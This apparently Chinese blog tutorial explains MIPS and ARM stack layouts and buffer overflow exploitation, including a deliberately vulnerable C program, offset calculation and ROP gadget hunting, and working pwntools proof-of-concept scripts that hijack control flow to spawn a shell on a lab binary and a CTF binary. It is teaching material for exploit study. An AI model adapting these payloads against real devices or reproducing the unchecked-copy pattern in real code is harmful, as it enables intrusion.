MIPS和ARM溢出漏洞
MIPS堆栈原理
栈是一种先进后出队列特性的数据结构。栈可以用来传递函数参数、存储返回值、保存寄存器,MIPS32架构的函数调用对栈 的分配和使用使用方式与x86架构的特性有相似之处,但同时也有很大区别。
1. MIPS
1.1 MIPS32架构堆栈
MIPS指令系统,采用的是精简指令集。
MIPS32与x86不同之处:
栈操作
两者都向低地址增长。MIPS32架构中没有EBP(栈底指针),进入一个函数,采用栈偏移的方式。所以栈的出栈和入栈都指定偏移量来实现。
参数传递
MIPS32架构前4个传入的参数通过$a0-$a3传递。如果函数参数超过4个,多余的参数会被放入调用参数空间(栈预留的一部分空间)。x86架构下所有参数都是通过堆栈传递。
返回地址
x86架构中,使用call指令调用函数,会先将当前执行位置压入堆栈。MIPS32的函数调用把函数的返回地址直接放入$RA寄存器中,而不是放入堆栈中。
1.2 函数调用的栈布局
叶子函数和非叶子函数
叶子函数
函数中不在调用其他函数
非叶子函数
函数中调用其他函数
函数调用过程
例子
#include <stdio.h>
int more_arg(int a,int b,int c,int d,int e)
{
char dst[100] = {0};
sprintf(dst,"%d%d%d%d\n",a,b,c,d,e);
}
int main(int argc,char *argv[])
{
int a1 = 1;
int a2 = 2;
int a3 = 3;
int a4 = 4;
int a5 = 5;
more_arg(a1,a2,a3,a4,a5);
}
编译
$ mipsel-linux-gnu-gcc -static mips_call.c -o mipsCall
IDA查看文件
主函数
v_a1-v_a4变量存放在$a0-$a3,v_a5存放在栈分配的空间上
more_arg函数
与主函数一样,调用sprintf函数时,前4个参数存入$a0-$a3寄存器中,其余的放入堆栈空间中
2. MIPS缓冲区溢出
缓冲区溢出就是大缓冲区数据向小缓冲区数据复制的过程中,没有检查小缓冲区的大小,导致小缓冲区无法接收大缓冲区数据而因而破坏程序运行,获取程序乃至系统的控制权。
例子
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
void do_system(int code,char *cmd)
{
char buf[255];
system(cmd);
}
void main()
{
char buf[256] = {0};
char ch;
int count = 0;
unsigned int fileLen = 0;
struct stat fileData;
FILE *fp;
if(0 == stat("passwd",&fileData)){
fileLen = fileData.st_size;
}else{
return;
}
if((fp = fopen("passwd","rb")) == NULL){
printf("Cannot open file passwd!\n");
exit(1);
}
ch = fgetc(fp);
while(count <= fileLen){
buf[count++] = ch;
ch = fgetc(fp);
}
buf[--count] = '\x00';
if(strcmp(buf,"adminpwd") != 0){
do_system(count,"ls -l");
}else{
printf("you have an invalid password!\n");
}
fclose(fp);
}
由源码可以看到,读取文件数据时候并没有对数据做限制。buffer缓冲区大小只有256字节,文件数据内容过大导致最终溢出。
2.1 测试
$ mipsel-linux-gnu-gcc --static overflow.c -o overflow
$ python -c "print 'A' * 600" > passwd
$ qemu-mipsel-static overflow
程序崩溃
IDA调试
定位saved_ra地址
下断点
查看saved_ra发生异常之前数据
查看发生异常时saved_ra地址被脏数据覆盖
2.2 劫持执行流程
查看缓冲区大小及栈空间
buf 缓冲区大小为256字节
passwd文件600字节
buf空间所占大小为0x1A0
计算所要覆盖的数据大小 :0x1A0 – 0x4 = 0x19C(412)
2.3 确定偏移
使用工具
$ python patternLocOffset.py -s 0x6E41376E -l 600
2.4 确定攻击方式
漏洞程序有一个函数do_system_0函数
查找gadget
.text:00401FA0 addiu $a1, $sp, 0x58+var_40(24) # a1->命令字符串
.text:00401FA4 lw $ra, 0x58+var_4($sp) ($sp(84)) # do_system函数地址
.text:00401FA8 sltiu $v0, 1
.text:00401FAC jr $ra
.text:00401FB0 addiu $sp, 0x58
3. POC
from pwn import *
context.endian = "little"
context.arch = "mips"
gadget = 0x00401FA0
system_addr = 0x00400390
cmd = "sh"
cmd += "\x00" * (4 - (len(cmd) % 4))
padding = 'A' * 0x19C
padding += p32(gadget)
padding += 'A' * 24
padding += cmd
padding += "B" * (0x3C - len(cmd))
padding += p32(system_addr)
padding += "TTTT"
with open('passwd','w')as f:
f.write(padding)
print 'ok!'
4. 实战分析
大家可以参考我的文章DIR-645路由器溢出漏洞分析。
ARM堆栈原理
栈是一种先进后出队列特性的数据结构。栈可以用来传递函数参数、存储返回值、保存寄存器,ARM架构的函数调用对栈 的分配和使用使用方式与x86架构的特性有相似之处,但同时也有很大区别。
1. ARM
1.1 ARM架构堆栈
ARM指令系统,采用的是精简指令集。
ARM与x86不同之处:
栈操作
两者都向低地址增长。ARM采用POP和PUSH指令操作堆栈的入栈和出栈。
参数传递
ARM架构前4个传入的参数通过$R0-$R3传递。如果函数参数超过4个,多余的参数会被放入调用参数空间(栈预留的一部分空间)。x86架构下所有参数都是通过堆栈传递
返回地址
x86架构中,使用call指令调用函数,会先将当前执行位置压入堆栈。ARM架构中,使用B跳转,跳转到另一个指令PC上,PC 总是指向要执行的下一条指令。
1.2 函数调用的栈布局
同上例子
打开IDA查看
1.3 ARM工作状态(ARM、Thumb)
CPSR程序状态寄存器 — 查看ARM工作状态
N Z C V Q DNM(RAZ) I F T M4 M3 M2 M1 M0
N、Z、C、V 条件码标志
N: 在结果是有符号的二进制补码的情况下,如果结果为负数,则N=1;如果结果为非负数,则N=0
Z: 如果结果为0,则Z=1;如果结果为非零,则Z=0
C: 设置分一下几种情况
加法指令,如果产生进位,C=1否则C=0
减法指令,如果产生借位,C=0;否则C=1
对于有移位操作的非法指令,C为移位操作中最后移除位的值
T: 工作状态 T=1 Thumb T=0 ARM
2. ARM缓冲区溢出
使用CTF的一道题目
2.1 测试
$ qemu-arm-static ./arm_pwn3
考虑对输入内容长度没有校验
随机生成500个字符串,程序发生段错误
2.2 劫持执行流程并确定偏移
动态调试
$ qemu-arm-static -g 1234 ./arm_pwn3
捕获错误
计算偏移
$ cyclic 500
$ cyclic -l 0x6261616a
136
查看当前程序状态寄存器
这里涉及到ARM状态(LSB=0)和Thumb状态(LSB=1)的切换,栈上内容弹出到PC寄存器时,其最低有效位(LSB)将被写入CPSR寄存器的T位,而PC本身的LSB被设置为0。此时在gdb中执行p/t $cpsr
以二进制格式显示CPSR寄存器。在 Thumb(v1) 状态下存储当前指令加 4(两条 Thumb 指令)的地址,需要在报错的地址加1。
当前T=1即位Thumb状态
$ cyclic -l 0x6261616b
140
2.3 确定攻击方式
查看程序开启哪些防护
NX:栈上不可执行shellcode
查找程序可用gadget
可以看到程序一开始会读取banner.txt文件
回溯发现该函数就是system函数
确定system函数位置0x1480C
查看有啥现有字符串可以用作system函数参数
/bin/sh 字符串地址 0x49018
查找合适的ROPgadget
$ ROPgadget --binary arm_pwn3 --only "pop | ret"
pop {r0,r4,pc} ;将堆栈中的数据弹出到r0,r4,pc寄存器中
;pc寄存器指向要执行的下一条指令
思路:
140偏移 + gadget地址 + /bin/sh参数 + 0占位 + system函数地址
3. POC
from pwn import *
p = process(['qemu-arm-static','-g','1234','./arm_pwn3'])
system_addr = 0x1480C
bin_sh_addr = 0x49018
pop_r0_r4 = 0x1fb5c
payload = 'A' * 140 + p32(pop_r0_r4) + p32(bin_sh_addr) + p32(0) + p32(system_addr + 1)
p.sendlineafter("buffer: ",payload)
pause()
p.interactive()
测试发生报错
查看当前CPSP发现T=1,system函数地址加1,测试如下
4. 实战分析
后续会发布一篇某款ARM架构的路由器栈溢出漏洞分析文章。
发表评论
您还未登录,请先登录。
登录